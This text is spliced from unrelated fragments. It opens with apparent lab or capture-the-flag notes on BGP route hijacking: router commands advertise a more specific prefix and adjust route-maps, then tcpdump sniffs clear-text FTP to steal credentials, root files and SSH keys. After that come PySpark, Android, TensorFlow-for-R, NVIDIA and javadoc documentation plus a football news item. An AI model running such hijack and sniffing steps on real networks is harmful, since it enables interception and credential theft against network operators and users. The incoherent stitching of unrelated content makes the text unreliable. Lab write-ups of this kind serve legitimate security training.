r1# configure t enters the config interface)
r1(config)# router bgp 100 in the config, there's a block labeled "router bgp 100". We want to edit that block
r1(config-router)# network <IP_ADDRESS>/25 In networking, the more specific networking usually 'wins' the preferred route
r1(config-router)# exit
r1(config)# exit
r1# clear ip bgp * out force clear and refresh of bgp routes
r1# show ip bgp <IP_ADDRESS>/25
<see that we are advertising 15.0/25 it to our peers>
r1# show ip bgp neighbors <IP_ADDRESS> advertised-routes
<see that 10.2 is also advertising our route to other its peers>
r1# exit
root# tcpdump -i any -w ftp-1.cap port 21
now we wait for captured traffic to be logged to our cap and then we can see if anyone has connected. Ftp is clear-text, so maybe usernames and passwords!
grab the pcap from the container and analyze in wireshare or otherwise (or other favorite tool)
We can see packets grabbed from <IP_ADDRESS> and from <IP_ADDRESS>, but we're not forwarding the traffic correctly. TCP Retransmissions and TCP Out-Of-Order errors.
Essentially, we created a loop. As we send traffic to the real 15.10, they look at their routing table and it says 'we' own it. So it gets sent back.
Not good!
So we need to resolve the routing loop. One way to do this is to stop accepting routes from one of our neighbors.
This is done with route-maps
route-map to-as300 permit 10 route-map (advertise routes) to-as300 (to this router) permit 10 (limit 10)
We need AS300 to send our traffic normally, so we have to block our advertisement from getting to AS300
r1# config
r1(config)# ip prefix-list PleaseSubscribe permit <IP_ADDRESS>/25 prefix list is needed to essentially hold our ip address
r1(config)# route-map to-as300 deny 5 create a new code block to deny routes to-as300
r1(config-route-map)# match ip address prefix-list PleaseSubscribe Configure the route-map to match any ip address in our prefix list
r1(config-route-map)# do show run
<shows our prefix-list and the route-map to deny matching our prefix-list>
r1(config-route-map)# exit
r1(config)# exit
r1# clear ip bgp * out
Now try to ping again and analyze
Now what happens is we get responses from 78.10.  And that is what is happening.
So we need a way to only advertise our route to AS200. Being careful not to block all traffic because we still need a way to communicate with the FTP server.
r1# sh ip bgp <IP_ADDRESS>/24
we can see the route from 200-300 is still active
Now we need to edit the route-map to-as200 and tell it to not export/forward/advertise to others
r1# config
r1(config)# route-map to-as200 permit 5
r1(config-route-map)# match ip address prefix-list PleaseSubscribe
r1(config-route-map)# set community no-export Tells the routers not to advertise the ip-addresses in the prefix list
r1(config-route-map)# end
r1# clear ip bgp * out
and now our pings are successful!!
time to capture some packets
see our very special USER and PASS to login to FTP and steal the secretdata.txt, root.txt, and the root ssh keys to carrier (host)
may need to use wget -m or other to grab all files
lxc list shows all running containers
lxc exec -- <container> <command> runs a command inside of an lxc conntainer
lxc exec -- r2 bash
Rest of the video is having fun and directing routing to Attack Machine instead of working in the container
Allows us to more actively use attacker tools to MitM the FTP session etc etc.


There are several ways to get involved with the group. It's a
great way to give your resume a boost or pickup a new skill. Here
are some options:
Come to an event! Come hang out with us and
meet people in the area doing work in the data visualization field.
We always have excellent speakers, food, and swag. Best of all,
most of our events are free! Join us on
meetup.com
and RSVP for the next event.
Help us maintain this site! We need help generating content, fixing
bugs, and adding features. Check out our current list of
issues on GitHub
and contribute where you can.
Come speak at an event! We always need
speakers. Check out our
speakers page
for tips on what topics are appropriate.


PySpark is included in the official releases of Spark available in the Apache Spark website. For Python users, PySpark also provides pip installation from PyPI. This is usually for local usage or as a client to connect to a cluster instead of setting up a cluster itself.
pip
This page includes instructions for installing PySpark by using pip, Conda, downloading manually, and building from the source.
Python 3.6 and above.
PySpark installation using PyPI is as follows:
pip install pyspark
If you want to install extra dependencies for a specific component, you can install it as below:
pip install pyspark[sql]
For PySpark with/without a specific Hadoop version, you can install it by using PYSPARK_HADOOP_VERSION environment variables as below:
PYSPARK_HADOOP_VERSION
PYSPARK_HADOOP_VERSION=2.7 pip install pyspark
The default distribution uses Hadoop 3.2 and Hive 2.3. If users specify different versions of Hadoop, the pip installation automatically downloads a different version and use it in PySpark. Downloading it can take a while depending on the network and the mirror chosen. PYSPARK_RELEASE_MIRROR can be set to manually choose the mirror for faster downloading.
PYSPARK_RELEASE_MIRROR
PYSPARK_RELEASE_MIRROR=http://mirror.apache-kr.org PYSPARK_HADOOP_VERSION=2.7 pip install
It is recommended to use -v option in pip to track the installation and download status.
-v
PYSPARK_HADOOP_VERSION=2.7 pip install pyspark -v
Supported values in PYSPARK_HADOOP_VERSION are:
without: Spark pre-built with user-provided Apache Hadoop
without
2.7: Spark pre-built for Apache Hadoop 2.7
2.7
3.2: Spark pre-built for Apache Hadoop 3.2 and later (default)
3.2
Note that this installation way of PySpark with/without a specific Hadoop version is experimental. It can change or be removed between minor releases.
Conda is an open-source package management and environment management system which is a part of the Anaconda distribution. It is both cross-platform and language agnostic. In practice, Conda can replace both pip and virtualenv.
Create new virtual environment from your terminal as shown below:
conda create -n pyspark_env
After the virtual environment is created, it should be visible under the list of Conda environments which can be seen using the following command:
conda env list
Now activate the newly created environment with the following command:
conda activate pyspark_env
You can install pyspark by Using PyPI to install PySpark in the newly created environment, for example as below. It will install PySpark under the new virtual environment pyspark_env created above.
pyspark_env
Alternatively, you can install PySpark from Conda itself as below:
conda install pyspark
However, note that PySpark at Conda is not necessarily synced with PySpark release cycle because it is maintained by the community separately.
PySpark is included in the distributions available at the Apache Spark website. You can download a distribution you want from the site. After that, uncompress the tar file into the directory where you want to install Spark, for example, as below:
tar xzvf spark-3.0.0-bin-hadoop2.7.tgz
Ensure the SPARK_HOME environment variable points to the directory where the tar file has been extracted. Update PYTHONPATH environment variable such that it can find the PySpark and Py4J under SPARK_HOME/python/lib. One example of doing this is shown below:
SPARK_HOME
PYTHONPATH
SPARK_HOME/python/lib
cd spark-3.0.0-bin-hadoop2.7 export SPARK_HOME=`pwd` export PYTHONPATH=$(ZIPS=("$SPARK_HOME"/python/lib/*.zip); IFS=:; echo "${ZIPS[*]}"):$PYTHONPATH
To install PySpark from source, refer to Building Spark.
Package
Minimum supported version
Note
pandas
0.23.2
Optional for SQL
NumPy
1.7
Required for ML
pyarrow
1.0.0
Py4J
0.10.9
Required
Note that PySpark requires Java 8 or later with JAVA_HOME properly set. If using JDK 11, set -Dio.netty.tryReflectionSetAccessible=true for Arrow related features and refer to Downloading.
JAVA_HOME
-Dio.netty.tryReflectionSetAccessible=true


 You can also supply a LocationListener
to be notified
of location related events, such as the addition or removal of geo zones, or entry and exit
events.
To receive geo zone notifications when your Activity is in the foreground, used to perform
actions like updating the application UI or displaying additional information, add a
LocationListener
via the addLocationListener(LocationListener)
method. Note
that you must also remove the listener via removeLocationListener(LocationListener)
to avoid leaks.
To be notified of geo zone events while the app isn't running, you will need to add an
IntentService
to your manifest that response to at least one of the
following intent-filters:
| Modifier and Type | Field and Description |
|---|---|
static String |
ACTION_GEOZONE_ADDED |
static String |
ACTION_GEOZONE_CHECK_IN |
static String |
ACTION_GEOZONE_CHECK_IN_FAILURE |
static String |
ACTION_GEOZONE_DELETED |
static String |
ACTION_GEOZONE_ENTRY |
static String |
ACTION_GEOZONE_EXIT |
static String |
ACTION_GEOZONE_UPDATED |
| Modifier and Type | Method and Description |
|---|---|
void |
addLocationListener(LocationListener listener)
Add a
LocationListener to receive events when the user enters or exits a
Geozone , or geo zones are added, deleted or modified in the manager. |
void |
getAvailableGeozones(Callback<List<Geozone>> callback)
Retrieves all available
Geozone s currently known to the device, whether
or not they are being monitored. |
void |
getGeozone(long id,
Callback<Geozone> callback)
Retrieves a
Geozone by id. |
void |
getGeozones(Collection<Long> geozoneIds,
Callback<List<Geozone>> callback)
Retrieves a list of
Geozone by specified IDs. |
void |
getInsideGeozones(Callback<List<Geozone>> callback)
Retrieves all
Geozone s that the user is currently inside. |
android.location.Location |
getLastLocation() |
void |
getMonitoredGeozones(Callback<List<Geozone>> callback)
Retrieves all
Geozone s currently being monitored for entry/exit transitions. |
void |
onDeviceRegistrationComplete(String token,
EventPayload data) |
void |
onSignificantLocationUpdated(android.content.Context context,
android.location.Location location) |
void |
removeLocationListener(LocationListener listener)
Remove a
LocationListener from the LocationManager. |
void |
start()
Start location service
|
void |
stop()
Stop location service
|
void |
updateGeozone(Geozone geozone) |
static final String ACTION_GEOZONE_ENTRY
static final String ACTION_GEOZONE_EXIT
static final String ACTION_GEOZONE_ADDED
static final String ACTION_GEOZONE_UPDATED
static final String ACTION_GEOZONE_DELETED
static final String ACTION_GEOZONE_CHECK_IN
static final String ACTION_GEOZONE_CHECK_IN_FAILURE
void getAvailableGeozones(Callback<List<Geozone>> callback)
Geozone
s currently known to the device, whether
or not they are being monitored.callback
- A callback to receive the available geo zones.void getMonitoredGeozones(Callback<List<Geozone>> callback)
Geozone
s currently being monitored for entry/exit transitions.callback
- A callback to receive the monitored geo zones.void getInsideGeozones(Callback<List<Geozone>> callback)
Geozone
s that the user is currently inside.callback
- A callback to receive the geo zones.void getGeozone(long id, Callback<Geozone> callback)
Geozone
by id.id
- The id of the geo zone.callback
- A callback to receive the geo zone.void getGeozones(Collection<Long> geozoneIds, Callback<List<Geozone>> callback)
Geozone
by specified IDs.geozoneIds
- A list of geo zone IDs.callback
- A callback to receive the geo zone.void addLocationListener(LocationListener listener)
LocationListener
to receive events when the user enters or exits a
Geozone
, or geo zones are added, deleted or modified in the manager.
Be sure to remove the listener when it is no longer needed using
removeLocationListener(LocationListener)
listener
- The LocationListener to be notified of location events.removeLocationListener(LocationListener)
void removeLocationListener(LocationListener listener)
LocationListener
from the LocationManager.listener
- The LocationListener to remove.void start()
void stop()
android.location.Location getLastLocation()
void updateGeozone(Geozone geozone)
void onDeviceRegistrationComplete(String token, EventPayload data)
void onSignificantLocationUpdated(android.content.Context context, android.location.Location location)


env
ss
ss.env
Execution environment type. To change set environment variable NODE_ENV or SS_ENV. 'development' by default.
NODE_ENV
SS_ENV


--- title: "Custom Estimators" output: rmarkdown::html_vignette vignette: > %\VignetteIndexEntry{Custom Estimators} %\VignetteEngine{knitr::rmarkdown} %\VignetteEncoding{UTF-8} type: docs repo: https://github.com/rstudio/tfestimators menu: main: name: "Custom Estimators" identifier: "tfestimators-custom" parent: "tfestimators-advanced" weight: 30 ---
The tfestimators framework makes it easy to construct and build machine
learning models via its high-level Estimator API. Estimator
offers classes you can instantiate to quickly configure common model types such
as regressors and classifiers.
But what if none of the predefined model types meets your needs?
Perhaps you need more granular control over model configuration, such as
the ability to customize the loss function used for optimization, or specify
different activation functions for each neural network layer. Or maybe you’re
implementing a ranking or recommendation system, and neither a classifier nor a
regressor is appropriate for generating predictions. The figure on the right
illustrates the basic components of an estimator. Users can implement
custom behaviors and or architecture inside the model_fn
of the estimator.
This tutorial covers how to create your own Estimator
using the building
blocks provided in tfestimators
package, which will predict the ages of
abalones based on their physical
measurements. You’ll learn how to do the following:
Estimator
tf$feature_column
and tf$layers
tf$losses
The complete code for this tutorial can be found here.
It’s possible to estimate the age of an abalone (sea snail) by the number of rings on its shell. However, because this task requires cutting, staining, and viewing the shell under a microscope, it’s desirable to find other measurements that can predict age.
The Abalone Data Set contains the following feature data for abalone:
| Feature | Description |
|---|---|
| Length | Length of abalone (in longest direction; in mm) |
| Diameter | Diameter of abalone (measurement perpendicular to length; in mm) |
| Height | Height of abalone (with its meat inside shell; in mm) |
| Whole Weight | Weight of entire abalone (in grams) |
| Shucked Weight | Weight of abalone meat only (in grams) |
| Viscera Weight | Gut weight of abalone (in grams), after bleeding |
| Shell Weight | Weight of dried abalone shell (in grams) |
This tutorial uses three data sets.
abalone_train.csv
contains labeled training data comprising 3,320 examples.
abalone_test.csv
contains labeled test data for 850 examples.
abalone_predict
contains 7 examples on which to make predictions.
The following sections walk through writing the Estimator
code step by step;
the full, final code is available
here.
We first write a function that downloads the training, testing, and evaluation data from TensorFlow website if we haven’t downloaded them before.
library(tfestimators)
maybe_download_abalone <- function(train_data_path, test_data_path, predict_data_path, column_names_to_assign) {
if (!file.exists(train_data_path) || !file.exists(test_data_path) || !file.exists(predict_data_path)) {
cat("Downloading abalone data ...")
train_data <- read.csv("http://download.tensorflow.org/data/abalone_train.csv", header = FALSE)
test_data <- read.csv("http://download.tensorflow.org/data/abalone_test.csv", header = FALSE)
predict_data <- read.csv("http://download.tensorflow.org/data/abalone_predict.csv", header = FALSE)
colnames(train_data) <- column_names_to_assign
colnames(test_data) <- column_names_to_assign
colnames(predict_data) <- column_names_to_assign
write.csv(train_data, train_data_path, row.names = FALSE)
write.csv(test_data, test_data_path, row.names = FALSE)
write.csv(predict_data, predict_data_path, row.names = FALSE)
} else {
train_data <- read.csv(train_data_path, header = TRUE)
test_data <- read.csv(test_data_path, header = TRUE)
predict_data <- read.csv(predict_data_path, header = TRUE)
}
return(list(train_data = train_data, test_data = test_data, predict_data = predict_data))
}
COLNAMES <- c("length", "diameter", "height", "whole_weight", "shucked_weight", "viscera_weight", "shell_weight", "num_rings")
downloaded_data <- maybe_download_abalone(
file.path(getwd(), "train_abalone.csv"),
file.path(getwd(), "test_abalone.csv"),
file.path(getwd(), "predict_abalone.csv"),
COLNAMES
)
train_data <- downloaded_data$train_data
test_data <- downloaded_data$test_data
predict_data <- downloaded_data$predict_data
Next, we construct the input function as follows:
constructed_input_fn <- function(dataset) {
input_fn(dataset, features = -num_rings, response = num_rings, num_epochs = NULL)
}
train_input_fn <- constructed_input_fn(train_data)
test_input_fn <- constructed_input_fn(test_data)
predict_input_fn <- constructed_input_fn(predict_data)
When defining a model using one of tf.estimator’s provided classes, such as
linear_dnn_combined_classifier
, you supply all the configuration parameters right in the
constructor, e.g.:
diameter <- column_numeric("diameter")
height <- column_numeric("height")
model <- dnn_linear_combined_classifier(
linear_feature_columns = feature_columns(diameter),
dnn_feature_columns = feature_columns(height),
dnn_hidden_units = c(100L, 50L)
)
You don’t need to write any further code to instruct TensorFlow how to train the
model, calculate loss, or return predictions; that logic is already baked into
the linear_dnn_combined_classifier
.
By contrast, when you’re creating your own estimator from scratch, the
constructor accepts just two high-level parameters for model configuration,
model_fn
and params
:
model <- estimator(model_fn, params = model_params)
model_fn
: A function object that contains all the aforementioned logic
to support training, evaluation, and prediction. You are responsible for
implementing that functionality. The next section, Constructing the
model_fn
covers creating a model function in detail.
params
: An optional dict of hyperparameters (e.g., learning rate,
dropout) that will be passed into the model_fn
.
Note: Just like tfestimators
’ predefined regressors and classifiers, the
estimator
initializer also accepts the general configuration arguments
model_dir
and config
.
For the abalone age predictor, the model will accept one hyperparameter:
learning rate. Here, learning_rate
is set to 0.001
, but you can tune this value as
needed to achieve the best results during model training.
The following code creates the list model_params
containing the learning rate and instantiates the Estimator
:
The basic skeleton for an Estimator
API model function looks like this:
model_fn <- function(features, labels, mode, params, config) {
# Logic to do the following:
# 1. Configure the model via TensorFlow operations
# 2. Define the loss function for training/evaluation
# 3. Define the training operation/optimizer
# 4. Generate predictions
# 5. Return predictions/loss/train_op/eval_metric_ops in estimator_spec object
}
The model_fn
must accept three arguments:
features
: A dict containing the features passed to the model via
input_fn
.labels
: A Tensor
containing the labels passed to the model via
input_fn
. Will be empty for predict()
calls, as these are the values the
model will infer.mode
: One of the following mode_keys()
string values
indicating the context in which the model_fn was invoked:
"train"
The model_fn
was invoked in training mode, namely via a train()
call."eval"
. The model_fn
was invoked in evaluation mode, namely via an evaluate()
call."infer"
. The model_fn
was invoked in predict mode, namely via a predict()
call.model_fn
may also accept a params
argument containing a dict of
hyperparameters used for training (as shown in the skeleton above) and a config
that represents the configurations used in a model, including GPU percentage, cluster information, etc.
The body of the function performs the following tasks (described in detail in the sections that follow):
optimizer
algorithm to
minimize the loss values calculated by the loss function.The model_fn
must return an estimator_spec
object, which contains the following values:
mode
(required). The mode in which the model was run. Typically, you will
return the mode
argument of the model_fn
here.
predictions
(required in infer
mode). A dict that maps key names of
your choice to Tensor
s containing the predictions from the model, e.g.:
predictions <- list(results = tensor_of_predictions)
In infer
mode, the dict that you return in estimator_spec
will then be
returned by predict()
, so you can construct it in the format in which
you’d like to consume it.
loss
(required in eval
and train
modes). A Tensor
containing a scalar
loss value: the output of the model’s loss function (discussed in more depth
later in Defining loss for the model) calculated over all
the input examples. This is used in train
mode for error handling and
logging, and is automatically included as a metric in eval
mode.
train_op
(required only in train
mode). An Op that runs one step of
training.
eval_metric_ops
(optional). A dict of name/value pairs specifying the
metrics that will be calculated when the model runs in eval
mode. The name
is a label of your choice for the metric, and the value is the result of
your metric calculation. The tf$metrics
module provides predefined functions for a variety of common metrics. The
following eval_metric_ops
contains an "accuracy"
metric calculated using
tf$metrics$accuracy
:
eval_metric_ops <- list(accuracy = tf$metrics$accuracy(labels, predictions))
If you do not specify eval_metric_ops
, only loss
will be calculated
during evaluation.
Constructing a neural network entails creating and connecting the input layer, the hidden layers, and the output layer.
The input layer is a series of nodes (one for each feature in the model) that
will accept the feature data that is passed to the model_fn
in the
features
argument. If features
contains an n-dimensional Tensor
with
all your feature data, then it can serve as the input layer. If features
contains a dict of feature columns passed to the model via an input function,
you can convert it to an input-layer Tensor
with the input_layer
function:
input_layer <- input_layer(
features = features, feature_columns = c(age, height, weight))
As shown above, input_layer()
takes two required arguments:
features
. A mapping from string keys to the Tensors
containing the
corresponding feature data. This is exactly what is passed to the model_fn
in the features
argument.feature_columns
. A list of all the FeatureColumns
in the model — age
,
height
, and weight
in the above example.The input layer of the neural network then must be connected to one or more
hidden layers via an activation
function that performs a
nonlinear transformation on the data from the previous layer. The last hidden
layer is then connected to the output layer, the final layer in the model.
tf$layers
provides the tf$layers$dense
function for constructing fully
connected layers. The activation is controlled by the activation
argument.
Some options to pass to the activation
argument are:
tf$nn$relu
. The following code creates a layer of units
nodes fully
connected to the previous layer input_layer
with a ReLU activation
function:tf$nn$relu6
. The following code creates a layer of units
nodes fully
connected to the previous layer hidden_layer
with a ReLU 6 activation
function:second_hidden_layer <- tf$layers$dense(
inputs = hidden_layer, units = 20L, activation = tf$nn$relu)
NULL
. The following code creates a layer of units
nodes fully
connected to the previous layer second_hidden_layer
with no activation
function, just a linear transformation:Other activation functions are possible, e.g.:
output_layer <- tf$layers$dense(inputs = second_hidden_layer,
units = 10L, activation_fn = tf$sigmoid)
The above code creates the neural network layer output_layer
, which is
fully connected to second_hidden_layer
with a sigmoid activation function
tf$sigmoid
.
The network contains two hidden layers, each with 10 nodes and a ReLU
activation function. The output layer contains no activation function, and is
tf$reshape
to a one-dimensional tensor to capture the model’s predictions,
which are stored in predictions_dict
.
The estimator_spec
returned by the model_fn
must contain loss
: a Tensor
representing the loss value, which quantifies how well the model’s predictions
reflect the label values during training and evaluation runs. The tf$losses
module provides convenience functions for calculating loss using a variety of
metrics, including:
absolute_difference(labels, predictions)
. Calculates loss using the
absolute-difference
formula
(also known as L1 loss).
log_loss(labels, predictions)
. Calculates loss using the logistic loss
forumula
(typically used in logistic regression).
mean_squared_error(labels, predictions)
. Calculates loss using the mean
squared error (MSE; also
known as L2 loss).
The following example adds a definition for loss
to the abalone model_fn
using mean_squared_error()
:
Supplementary metrics for evaluation can be added to an eval_metric_ops
dict.
The following code defines an rmse
metric, which calculates the root mean
squared error for the model predictions. Note that the labels
tensor is cast
to a float64
type to match the data type of the predictions
tensor, which
will contain real values:
eval_metric_ops <- list(rmse = tf$metrics$root_mean_squared_error(
tf$cast(labels, tf$float64), predictions
))
The training op defines the optimization algorithm TensorFlow will use when
fitting the model to the training data. Typically when training, the goal is
to minimize loss. A simple way to create the training op is to instantiate a
tf$train$Optimizer
subclass and call the minimize
method.
The following code defines a training op for the abalone model_fn
using the
loss value calculated in Defining Loss for the Model, the
learning rate passed to the function in params
, and the gradient descent
optimizer. For global_step
, the convenience function
tf$train$get_global_step
takes care of generating an integer variable:
Here’s the final, complete model_fn
for the abalone age predictor. The
following code configures the neural network; defines loss and the training op;
and returns a estimator_spec
object containing mode
, predictions_dict
, loss
,
and train_op
:
model_fn <- function(features, labels, mode, params, config) {
# Connect the first hidden layer to input layer
first_hidden_layer <- tf$layers$dense(features, 10L, activation = tf$nn$relu)
# Connect the second hidden layer to first hidden layer with relu
second_hidden_layer <- tf$layers$dense(first_hidden_layer, 10L, activation = tf$nn$relu)
# Connect the output layer to second hidden layer (no activation fn)
output_layer <- tf$layers$dense(second_hidden_layer, 1L)
# Reshape output layer to 1-dim Tensor to return predictions
predictions <- tf$reshape(output_layer, list(-1L))
predictions_list <- list(ages = predictions)
# Calculate loss using mean squared error
loss <- tf$losses$mean_squared_error(labels, predictions)
eval_metric_ops <- list(rmse = tf$metrics$root_mean_squared_error(
tf$cast(labels, tf$float64), predictions
))
optimizer <- tf$train$GradientDescentOptimizer(learning_rate = params$learning_rate)
train_op <- optimizer$minimize(loss = loss, global_step = tf$train$get_global_step())
return(estimator_spec(
mode = mode,
predictions = predictions_list,
loss = loss,
train_op = train_op,
eval_metric_ops = eval_metric_ops
))
}
model_params <- list(learning_rate = 0.001)
model <- estimator(model_fn, params = model_params)
You’ve instantiated an Estimator
for the abalone predictor and defined its
behavior in model_fn
; all that’s left to do is train, evaluate, and make
predictions.
The following code fits the neural network to the
training data and evaluates the model performance based on the eval_metric_ops
that we have defined:


X.Org X servers support an X protocol extension called Composite. This extension allows windows to be drawn into pixmaps instead of directly onto the screen. In conjunction with the Damage and Render extensions, this allows a program called a composite manager to blend windows together to draw the screen.
Performance will be degraded significantly if the RenderAccel
option is disabled in
xorg.conf. See Appendix B, X
Config Options for more details.
When the NVIDIA X driver is used and the Composite extension is enabled, NVIDIA's OpenGL implementation interacts properly with the Damage and Composite X extensions. This means that OpenGL rendering is drawn into offscreen pixmaps and the X server is notified of the Damage event when OpenGL renders to the pixmap. This allows OpenGL applications to behave properly in a composited X desktop.
If the Composite extension is enabled on an X server older than
X11R6.9.0, then GLX will be disabled. You can force GLX on while
Composite is enabled on pre-X11R6.9.0 X servers with the
AllowGLXWithComposite
X
configuration option. However, GLX will not render correctly in
this environment. Upgrading your X server to X11R6.9.0 or newer is
recommended.
You can enable the Composite X extension by running nvidia-xconfig --composite. Composite can be disabled with nvidia-xconfig --no-composite. See the nvidia-xconfig(1) man page for details.
If you are using an OpenGL-based composite manager, you may also
need the DisableGLXRootClipping
option to obtain proper output.
The Composite extension also causes problems with other driver components:
Xv adaptors will ignore the sync-to-vblank option when drawing into a redirected window.
Workstation overlays are incompatible with Composite. Workstation overlays will be automatically disabled when Composite is detected.
The NVIDIA Linux driver supports quad-buffered stereo together with Composite. However, many composite managers will only texture from and display the left eye content, effectively disabling the stereo effect. Workarounds for this problem are either to use a different composite manager that supports stereo or disable the Composite extension.
The Composite extension is incompatible with Xinerama in X.Org X servers prior to version 1.10. Composite will be automatically disabled when Xinerama is enabled on those servers.
Prior to X.Org X server version 1.15, the Damage extension does not properly report rendering events on all physical X screens in Xinerama configurations. This prevents most composite mangers from rendering correctly.
This NVIDIA Linux driver supports OpenGL rendering to 32-bit ARGB windows. 32-bit visuals are only available on screens with depths 24 or 30. If you are an application developer, you can use these new visuals in conjunction with a composite manager to create translucent OpenGL applications:
int attrib[] = { GLX_RENDER_TYPE, GLX_RGBA_BIT, GLX_DRAWABLE_TYPE, GLX_WINDOW_BIT, GLX_RED_SIZE, 1, GLX_GREEN_SIZE, 1, GLX_BLUE_SIZE, 1, GLX_ALPHA_SIZE, 1, GLX_DOUBLEBUFFER, True, GLX_DEPTH_SIZE, 1, None }; GLXFBConfig *fbconfigs, fbconfig; int numfbconfigs, render_event_base, render_error_base; XVisualInfo *visinfo; XRenderPictFormat *pictFormat; /* Make sure we have the RENDER extension */ if(!XRenderQueryExtension(dpy, &render_event_base, &render_error_base)) { fprintf(stderr, "No RENDER extension found\n"); exit(EXIT_FAILURE); } /* Get the list of FBConfigs that match our criteria */ fbconfigs = glXChooseFBConfig(dpy, scrnum, attrib, &numfbconfigs); if (!fbconfigs) { /* None matched */ exit(EXIT_FAILURE); } /* Find an FBConfig with a visual that has a RENDER picture format that * has alpha */ for (i = 0; i < numfbconfigs; i++) { visinfo = glXGetVisualFromFBConfig(dpy, fbconfigs[i]); if (!visinfo) continue; pictFormat = XRenderFindVisualFormat(dpy, visinfo->visual); if (!pictFormat) continue; if(pictFormat->direct.alphaMask > 0) { fbconfig = fbconfigs[i]; break; } XFree(visinfo); } if (i == numfbconfigs) { /* None of the FBConfigs have alpha. Use a normal (opaque) * FBConfig instead */ fbconfig = fbconfigs[0]; visinfo = glXGetVisualFromFBConfig(dpy, fbconfig); pictFormat = XRenderFindVisualFormat(dpy, visinfo->visual); } XFree(fbconfigs);
When rendering to a 32-bit window, keep in mind that the X RENDER extension, used by most composite managers, expects "premultiplied alpha" colors. This means that if your color has components (r,g,b) and alpha value a, then you must render (a*r, a*g, a*b, a) into the target window.
More information about Composite can be found at http://freedesktop.org/Software/CompositeExt


{# Copyright (c) 2014 The Pycroft Authors. See the AUTHORS file. This file is part of the Pycroft project and licensed under the terms of the Apache License, Version 2.0. See the LICENSE file for details. #} {% if user.user_hosts -%}
| IP-Adresse | Mac-Adresse | Switch | Switchport |
|---|---|---|---|
| {{ ip.address }} | {{ ip.net_device.mac }} | {{ host | get_switch(ip)}} | {{ host | get_switch_port(ip)}} |


Want to aggregate news from your favorite websites over RSS? Sign in or host your own version.
Add an RSS endpoint to start aggregating your news.


|
Brooklyn | |||||||
| FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | METHOD | DETAIL: FIELD | METHOD |
public interface ExecutionManager
This class manages the execution of a number of jobs with tags. It is like an executor service (and it ends up delegating to one) but adds additional support where jobs can be:
The advantage of treating them as Task instances include:
For usage instructions see submit(Map, Task), and for examples see the various ExecutionTest and TaskTest instances.
It has been developed for multi-location provisioning and management to track work being done by each Entity.
Note the use of the environment variable THREAD_POOL_SIZE which is used to size the java.util.concurrent.ExecutorService thread pool. The default is calculated as twice the number of CPUs in the system plus two, giving 10 for a four core system, 18 for an eight CPU server and so on.
| Method Summary | |
|---|---|
Task
|
getTask(java.lang.String id)
returns the task with the given ID, or null if none |
java.util.Set
|
getTaskTags()
returns all tags known to this manager (immutable) |
java.util.Set
|
getTasksWithAllTags(java.lang.Iterable tags)
returns all tasks that have all of the given tags (immutable) |
java.util.Set
|
getTasksWithAnyTag(java.lang.Iterable tags)
returns all tasks that have any of the given tags (immutable) |
java.util.Set
|
getTasksWithTag(java.lang.Object tag)
returns all tasks with the given tag (immutable) |
boolean
|
isShutdown()
|
Task
|
submit(java.lang.Runnable r)
returns all tasks known to this manager (immutable) |
Task
|
submit(java.util.concurrent.Callable c)
|
Task
|
submit(Task task)
|
Task
|
submit(java.util.Map flags, java.lang.Runnable r)
|
Task
|
submit(java.util.Map flags, java.util.concurrent.Callable c)
|
Task
|
submit(java.util.Map flags, java.lang.Object c)
@see submit(Map, Task) |
Task
|
submit(java.util.Map flags, Task task)
Submits the given Task for execution in the context associated with this manager. |
| Method Detail |
|---|
public Task getTask(java.lang.String id)
public java.util.Set getTaskTags()
public java.util.Set getTasksWithAllTags(java.lang.Iterable tags)
public java.util.Set getTasksWithAnyTag(java.lang.Iterable tags)
public java.util.Set getTasksWithTag(java.lang.Object tag)
public boolean isShutdown()
public Task submit(java.lang.Runnable r)
public Task submit(java.util.concurrent.Callable c)
public Task submit(Task task)
public Task submit(java.util.Map flags, java.lang.Runnable r)
public Task submit(java.util.Map flags, java.util.concurrent.Callable c)
@Deprecated public Task submit(java.util.Map flags, java.lang.Object c)
public Task submit(java.util.Map flags, Task task)
If a Map is supplied it must be modifiable (currently; may allow immutable maps in future).
Brooklyn Multi-Cloud Application Management Platform
brooklyncentral.github.com. Apache License. © 2012.


Dortmund star Witsel has surgery after domestic accident
Berlin - Borussia Dortmund midfielder Axel Witsel will miss the rest of the year after needing surgery for a facial injury sustained in an accident at home, his club said Monday.
"We couldn't talk to him yesterday (Sunday) because he was in intensive care in hospital," said Dortmund coach Lucien Favre, while a club spokesman said Witsel fell at home but gave no further details.
"He won't be able to play for the rest of the year, but he is already at home," added Favre.
"It's a shame for him and us, he's an important player. Hopefully he is back as soon as possible."
The 30-year-old Witsel will miss Dortmund's final Champions League group game at home to Sparta Prague on Tuesday.
They must better Inter Milan's result against Barcelona at the San Siro in order to reach the last 16.
The Belgium international will also be sidelined for the next three league games. Dortmund are third in the table, five points behind Bundesliga leaders Borussia Moenchengladbach.
Witsel played in Saturday's 5-0 thrashing of Fortuna Duesseldorf and has featured in all five Champions League group games this campaign.


public class Angle
extends java.lang.Object
| Modifier and Type | Field and Description |
|---|---|
static int |
CLOCKWISE
Constant representing clockwise orientation
|
static int |
COUNTERCLOCKWISE
Constant representing counterclockwise orientation
|
static int |
NONE
Constant representing no orientation
|
static double |
PI_OVER_2 |
static double |
PI_OVER_4 |
static double |
PI_TIMES_2 |
| Constructor and Description |
|---|
Angle() |
| Modifier and Type | Method and Description |
|---|---|
static double |
angle(Coordinate p)
Returns the angle that the vector from (0,0) to p,
relative to the positive X-axis.
|
static double |
angle(Coordinate p0,
Coordinate p1)
Returns the angle of the vector from p0 to p1,
relative to the positive X-axis.
|
static double |
angleBetween(Coordinate tip1,
Coordinate tail,
Coordinate tip2)
Returns the unoriented smallest angle between two vectors.
|
static double |
angleBetweenOriented(Coordinate tip1,
Coordinate tail,
Coordinate tip2)
Returns the oriented smallest angle between two vectors.
|
static double |
diff(double ang1,
double ang2)
Computes the unoriented smallest difference between two angles.
|
static int |
getTurn(double ang1,
double ang2)
Returns whether an angle must turn clockwise or counterclockwise
to overlap another angle.
|
static double |
interiorAngle(Coordinate p0,
Coordinate p1,
Coordinate p2)
Computes the interior angle between two segments of a ring.
|
static boolean |
isAcute(Coordinate p0,
Coordinate p1,
Coordinate p2)
Tests whether the angle between p0-p1-p2 is acute.
|
static boolean |
isObtuse(Coordinate p0,
Coordinate p1,
Coordinate p2)
Tests whether the angle between p0-p1-p2 is obtuse.
|
static double |
normalize(double angle)
Computes the normalized value of an angle, which is the
equivalent angle in the range ( -Pi, Pi ].
|
static double |
normalizePositive(double angle)
Computes the normalized positive value of an angle, which is the
equivalent angle in the range [ 0, 2*Pi ).
